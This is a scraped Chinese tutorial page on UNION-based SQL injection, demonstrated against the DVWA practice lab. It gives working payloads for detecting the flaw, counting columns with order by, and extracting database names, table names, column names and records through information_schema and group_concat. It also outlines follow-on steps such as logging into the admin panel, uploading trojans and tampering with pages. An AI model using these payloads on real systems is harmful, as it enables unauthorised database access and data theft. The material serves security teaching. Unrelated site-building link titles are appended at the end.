当前位置: 首页 > news >正文

ps怎么做网站导航内嵌式城乡建设部网站第35号令

ps怎么做网站导航内嵌式,城乡建设部网站第35号令,线上编程哪家比较好,免费的看电影电视剧的appUNION 操作符用于合并两个或多个 SELECT 语句的结果集#xff0c; UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句 中的列名#xff0c;并且UNION 内部的 SELECT 语句必须拥有相同数量的 列。 联合查询注入就是利用union操作符#xff0c;将攻击者希望查询的语句…UNION 操作符用于合并两个或多个 SELECT 语句的结果集 UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句 中的列名并且UNION 内部的 SELECT 语句必须拥有相同数量的 列。 联合查询注入就是利用union操作符将攻击者希望查询的语句注入 到正常select语句之后并返回输出结果。 SQL注入的一般流程为 1. SQL注入点探测。探测SQL注入点是关键的一步通过适当的分 析应用程序可以判断什么地方存在SQL注入点。通常只要带有 输入提交的动态网页并且动态网页访问数据库就可能存在 SQL注入漏洞。如果程序员信息安全意识不强采用动态构造 SQL语句访问数据库并且对用户的输入未进行有效性验证则 存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确 定是否存在SQL注入漏洞。 2. 收集后台数据库信息。不同数据库的注入方法、函数都不尽相 同因此在注入之前我们先要判断一下数据库的类型。判断数 据库类型的方法很多可以输入特殊字符如单引号让程序返 回错误信息我们根据错误信息提示进行判断还可以使用特定 函数来判断比如输入select version()程序返回正常说明 version()函数被数据库识别并执行而version()函数是MySQL特 有的函数因此可以推断后台数据库为MySQL。 3. 猜解数据库字段。数据库中的表和字段命名一般都是有规律的。 通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字 段数、用户名和密码。 4. 查找Web后台管理入口。WEB后台管理通常不对普通用户开 放要找到后台管理的登录网址可以利用Web目录扫描工具 如wwwscan、AWVS快速搜索到可能的登录地址然后 逐一尝试便可以找到后台管理平台的登录网址。 5. 入侵和破坏。一般后台管理具有较高权限和较多的功能使用前 面已破译的用户名、密码成功登录后台管理平台后就可以任意 进行破坏比如上传木马、篡改网页、修改和窃取信息等还可 以进一步提权入侵Web服务器和数据库服务器。 判断漏洞是否存在 根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行如果测试语句被执行了说明存在注入漏洞。 一般利用单引号或者双引号来判断是否存在漏洞如果出 现SQL语句错误说明有很大的可能会存在漏洞。 比如访问dvwa靶场 http://127.0.0.1/dvwa/vulnerabilities/sqli/? id1SubmitSubmit#此时URL实际向服务器传递了值为1的变量id此时服务器就会从users表中把满足user_id1这个条件的行记 录的first_name, last_name查询出来 后端 phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\sqli\source\lo w.php向数据库获取数据的SQL语句为 SELECT first_name, last_name FROM users WHERE user_id $id; 再SQL-Font里显示为 这里我们加了一个   ‘http://www.dvwa.test/vulnerabilities/sqli/?id1SubmitSubmit# SQL语句就变为了 SELECT first_name, last_name FROM users WHERE user_id $id 可以看到多了一个单引号因为单引号不匹配则会报错。如果能 引起数据库的报错说明用户是可以对查询语句进行修改的说明存在漏洞。 判断注入类型 判断注入类型是数字型还是字符型这涉及到在注入的过程中是否需要添加单引号可以使用and 逻辑与进行判断当条件表 达式两边都为真才是真有一边为假则是假 1 and 11 1 and 12 如果输入1 and 11和1 and 12页面的查询结果都返回相同的内容说明不是数字型注入。既然不是数字型那就有很大的可能是字符型注入了。 如果是字符型则需要对单引号进行闭合因为MySQL中的引号 都是成双成对出现的。 思考为什么从以上方法中可以判断出注入的类型呢 首先回到数字型注入和字符型注入的定义当用户输入上方的判断语句时 如果是数字型注入则SQL语句变成了 SELECT first_name, last_name FROM users WHERE user_id 1 and 11; SELECT first_name, last_name FROM users WHERE user_id 1 and 12; 如果是字符型注入则变成了 SELECT first_name, last_name FROM users WHERE user_id 1 and 11; SELECT first_name, last_name FROM users WHERE user_id 1 and 12; 数据库会把用户输入的内容当成了一体进行查询大家可以将以上四条语句拿到数据库里执行前两条语句会返回不一样的内容后 两条语句会返回相同的内容。 思考为什么后两条语句同样是用and但是输出的内容是相同的 这个涉及到了MySQL的隐式类型转换。隐式转换隐式转换是自动调用的 用于实现自动将某种类型的数据转换为另外一种类型的数 据。上面的例子中user_id是int型传入的1 and 11是字符串 会触发隐式类型转换 1 and 111 2admin 2 admin0 33admin33  所以两条语句都通过转换变为了1。 判断表中列数 为了方便后续获取数据需要先知道查询的表中显示的字段数可以使用order by来进行判断。ORDER BY*语句用于根据指定的列对结果集进行排序。 用法order by 列名或者order by 列编号。 特性当order by的数字大于当前的列数时候就会报错SQL注入利用这个特性来判断列数。 这里我们猜3发现抱错 这里我们猜对了列数 图中URL的%23为井号#进行了url编码是为了将SQL语句中多余的单引号注释掉GET型注入可以使用#号的url编码%23或者--进行注释 SELECT first_name, last_name FROM users WHERE user_id 1 order by 2#; 确定显示位 显示位在一个网站的正常页面服务端执行SQL语句查询数据库 中的数据客户端将数据展示在页面中这个展示数据的位置就叫显示位。 这里我们输入 http://127.0.0.1/test/vulnerabilities/sqli/? id1unionselect1%2C2%23SubmitSubmit# 但我们一般都要把1改为-1 在实战中一般不查询union左边的内容这是因为程序在展示 数据的时候通常只会取结果集的第一行数据所以只要让第一行查询的结果是空集即union左边的select子句查询结果为 空那么union右边的查询结果自然就成为了第一行打印在网页上了。所以让union左边查询不到可以将其改为负数或者改 为比较大的数字。 获取数据 以DVWA靶场为例演示如何获取数据库中的数据 获取数据库名、版本 1 union select version(),database()# 获取数据库表名 -1 union select 1,table_name from information_schema.tables where table_schemadvwa# 很多网站只显示1条结果为了能够输出所有结果可以使用 group_concat()函数将多行合并成一行 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#-1 union select 1,table_name from information_schema.tables where table_schemadvwa limit 0,1 #group_concat()函数被过滤时可以使用limit n,1 来逐个输出查询内容 这里的数据库名、表名等的字符串表示需要用单引号、双引号包裹住或者可以使用对应的十六进制的形式。 获取某个表中的字段名  -1 union select 1,group_concat(column_name) from information_schema.columns where table_nameguestbook# 获取字段中的记录  -1 union select 1,group_concat(comment_id,comment,name) from guestbook#
http://www.zqtcl.cn/news/574004/

相关文章:

  • 珠海网站建设公司有哪些代替做网站推广
  • 泰安的网站建设公司旅游网站建设规划报告怎么写
  • 如何建设淘宝客网站什么是网络营销常用的网络营销方法有哪些
  • 大连华南网站建设深圳网站建设公司的外文名是
  • 做招投标网站云南昆明网站建设价格
  • 越秀区网站建设公司微网站菜单
  • vs2017网站开发广州网站建设易得
  • 长沙企业网站建设价格陕西省门户网站建设政策
  • 龙华营销型网站制作wordpress最近评论
  • 嘉兴微信网站做一个招聘信息的网站_用什么做网站的软件
  • 各种购物网站大全上海市建设工程检测网
  • 网站推广沈阳php网站开发接口开发
  • 莱芜 做网站 公司官网开发
  • tomcat做网站做自媒体查找素材的网站
  • 信阳建设企业网站公司软件开发平台公司
  • 营销型网站建设营销型设计家官网视频
  • 部门网站建设目的加猛挣钱免费做网站软件
  • 洛阳制作网站哪家好wordpress是英文
  • dw里面怎么做网站轮播图网站建设分为多少模块
  • 国外互动网站wordpress设置用户头像
  • 重庆手机网站推广定做net创建网站之后怎么做
  • 网站仿静态做it的兼职网站
  • 建站用wordpress好吗hui怎么做网站
  • 从用户旅程角度做网站分析做网站还是做淘宝
  • 妇科医院网站优化服务商品牌型网站设计推荐
  • 西安网站制作排名网站建设对企业的帮助
  • lamp网站开发 pdf纯html5 网站
  • 白云区同和网站建设购物网站怎么建立
  • 公司制作网站需要espcms易思企业网站管理系统
  • 开发一个网站需要哪些步骤广西建设主管部门网站